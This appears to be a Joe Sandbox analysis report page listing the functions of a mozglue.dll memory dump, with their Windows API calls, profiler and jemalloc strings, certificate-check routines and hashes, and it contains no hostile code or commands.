Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction ID: dcada75d9ce94d08f36fa97ed00bd3649ca3452fef7d7d99ec2053b654dfec6b
Opcode Fuzzy Hash: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction Fuzzy Hash: 2A21D736745214BFDB04AA79DC94BAF73B9AB86744F60452AF903A7A80DB70DC04C794

Function 6C933060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C933095

Part of subcall function 6C9335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
Part of subcall function 6C9335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
Part of subcall function 6C9335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
Part of subcall function 6C9335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
Part of subcall function 6C9335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
Part of subcall function 6C9335A0: __aulldiv.LIBCMT ref: 6C9336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93309F

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9330BE

Part of subcall function 6C9330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C933127
Part of subcall function 6C9330F0: __aulldiv.LIBCMT ref: 6C933140

Part of subcall function 6C96AB2A: __onexit.LIBCMT ref: 6C96AB30

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction ID: 44b61cc302f2574c4fa35a996bdff945ca50953a86a8ecc065fe719d906b4854
Opcode Fuzzy Hash: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction Fuzzy Hash: C0F0F91AE2874DE7CB10DF3888411E77374AF7B118F601319EC4853551FF20A1D8838A

Non-executed Functions

Function 6C945440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C945492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9454BE
__Init_thread_footer.LIBCMT ref: 6C9454DB

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C945516
GetCurrentThreadId.KERNEL32 ref: 6C94556A
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945577
moz_xmalloc.MOZGLUE(00000070), ref: 6C945585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C945590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9455E6
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C945616

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetCurrentThreadId.KERNEL32 ref: 6C94563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C945646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C94567C
free.MOZGLUE(?), ref: 6C9456AE

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9456E8
GetCurrentThreadId.KERNEL32 ref: 6C945707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C94570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C945729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C94574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C94576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C945796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9457CA

Strings

MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C945749
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C945D24
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9457C5
MOZ_PROFILER_STARTUP, xrefs: 6C9455E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C945CF9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C945BBE
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C945724
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C945B38
[I %d/%d] profiler_init, xrefs: 6C94564E
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C94548D
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C945AC9
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C945D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6C945511
GeckoMain, xrefs: 6C945554, 6C9455D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9454B9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C945717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C945791
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9454A3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C945766
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9456E3
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C945D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C94584E
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9457AE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C945C56
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C945D01

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction ID: c5b8e9835a4fe351371b11bdad3dad795ce3d7ace8a4181d91be167cbc88b3b3
Opcode Fuzzy Hash: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
Instruction Fuzzy Hash: 7E222875A08300AFEB009FB4845865B77B9FF9634CF148529F94A97B81EB30C858CB67

Function 6C97B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B845
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97B852
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97B884
InitializeConditionVariable.KERNEL32(?), ref: 6C97B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C97B9FD
GetCurrentThreadId.KERNEL32 ref: 6C97BA05
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C97BA27
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97BA4B
free.MOZGLUE(?), ref: 6C97C9C7
free.MOZGLUE(?), ref: 6C97C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C97C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C97C7DA

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 07e35d41e75bf43135e1c3ca7f2d8ee4f59dc38c15200aa956a4221680ce5829
Instruction ID: 88ecc4726cb72d6f180a03cb3205b4756fbe47b51f76063dcd41e026563024cd
Opcode Fuzzy Hash: 07e35d41e75bf43135e1c3ca7f2d8ee4f59dc38c15200aa956a4221680ce5829
Instruction Fuzzy Hash: 1BA28C75A093808FC725CF28C48079FB7E6BFD9318F144A2DE89997751DB70E9098B92

Function 6C946C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C946CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C946D26

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C946D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C946D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C946D73
free.MOZGLUE(00000000), ref: 6C946D80
CertGetNameStringW.CRYPT32 ref: 6C946DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C946DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C946DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C946E10
CryptMsgClose.CRYPT32(00000000), ref: 6C946E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C946E34
CreateFileW.KERNEL32 ref: 6C946EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C946F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C946F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C94709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C947103
free.MOZGLUE(00000000), ref: 6C947153
CloseHandle.KERNEL32(?), ref: 6C947176
__Init_thread_footer.LIBCMT ref: 6C947209
__Init_thread_footer.LIBCMT ref: 6C94723A
__Init_thread_footer.LIBCMT ref: 6C94726B
__Init_thread_footer.LIBCMT ref: 6C94729C
__Init_thread_footer.LIBCMT ref: 6C9472DC
__Init_thread_footer.LIBCMT ref: 6C94730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9473C2
VerSetConditionMask.NTDLL ref: 6C9473F3
VerSetConditionMask.NTDLL ref: 6C9473FF
VerSetConditionMask.NTDLL ref: 6C947406
VerSetConditionMask.NTDLL ref: 6C94740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C94741A
moz_xmalloc.MOZGLUE(?), ref: 6C94755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C947568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C947585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C947598
free.MOZGLUE(00000000), ref: 6C9475AC

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

Strings

SHA256, xrefs: 6C946EC0
wintrust.dll, xrefs: 6C9472CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C9472C8
(, xrefs: 6C94768A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction ID: 17f79a74ca427bfa6b7939602b769f3c006a7afbbcfcafd67549d235e6d8c0b8
Opcode Fuzzy Hash: 449b24bb5b8ad7a32dda028c4d4198f9892775de54a2708f1ecb8be614b10a23
Instruction Fuzzy Hash: 6152B4B5A04218ABEB21DF64CC84BAB77BDEF55708F108199E909A7640DB70EF84CF51

Function 6C966FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C967019
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C967061
EnterCriticalSection.KERNEL32(?), ref: 6C9671A4
LeaveCriticalSection.KERNEL32(?), ref: 6C96721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C96723E
EnterCriticalSection.KERNEL32(?), ref: 6C96726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9672B2
LeaveCriticalSection.KERNEL32(?), ref: 6C96733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9673E8
LeaveCriticalSection.KERNEL32(?), ref: 6C96961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C969622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C969642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C96964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9696CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9696DB
AcquireSRWLockExclusive.KERNEL32(6C9BE804), ref: 6C969747
GetSystemInfo.KERNEL32(?), ref: 6C969792
__Init_thread_footer.LIBCMT ref: 6C9697A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9BE810,00000040), ref: 6C9697CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7B8,00001388), ref: 6C969838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE744,00001388), ref: 6C96984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE784,00001388), ref: 6C969874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7DC,00001388), ref: 6C969895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C969BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9699D2
MALLOC_OPTIONS, xrefs: 6C9697CA
MOZ_CRASH(), xrefs: 6C969B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9699BD
<jemalloc>, xrefs: 6C969B33, 6C969BE3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C969933, 6C969A33, 6C969A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9699A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C969993
Compile-time page size does not divide the runtime one., xrefs: 6C969B38

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 19de96db09779d1c40737b8686b9666b1ea885ce846b84a808f9a03aa6a833f6
Instruction ID: a42b571573ff47761fc1a8c8eb5fc493540cbb073f9d55dcd90d18710bc8cfde
Opcode Fuzzy Hash: 19de96db09779d1c40737b8686b9666b1ea885ce846b84a808f9a03aa6a833f6
Instruction Fuzzy Hash: 6C538071A057018FE704CF2AC580615FBE5BF86728F29C6ADE8698BBD1D771E841CB81

Function 6C970DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C970F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C970F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C970FB7
EnterCriticalSection.KERNEL32(?), ref: 6C970FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C971031
LeaveCriticalSection.KERNEL32(?), ref: 6C9710D0
EnterCriticalSection.KERNEL32(?), ref: 6C97117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C971C39
EnterCriticalSection.KERNEL32(6C9BE744), ref: 6C973391
LeaveCriticalSection.KERNEL32(6C9BE744), ref: 6C9733CD
LeaveCriticalSection.KERNEL32(?), ref: 6C973431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C973437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C973A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9737D2
MALLOC_OPTIONS, xrefs: 6C9735FE
MOZ_CRASH(), xrefs: 6C973950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9737BD
<jemalloc>, xrefs: 6C973941, 6C9739F1
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C973559, 6C97382D, 6C973848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9737A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C973793
Compile-time page size does not divide the runtime one., xrefs: 6C973946

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction ID: cd048e443ed1b9c61974797cd4c2aa407e59845fcc28f15e1a294365737ba372
Opcode Fuzzy Hash: 12b9cf554c3363a1ab628e096b91f2d5540e6a12230ff9fd0c6eee9d0cb12df9
Instruction Fuzzy Hash: 9953AF71A16701CFC324CF29C590616FBE5BF86728F29C6ADE8699B791D331E801CB91

Function 6C9955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C96E1A5), ref: 6C995606
LoadLibraryW.KERNEL32(gdi32,?,6C96E1A5), ref: 6C99560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C995633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C99563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C99566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C99567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C995696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C995716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C99572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C995748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C995761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C99577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C995793
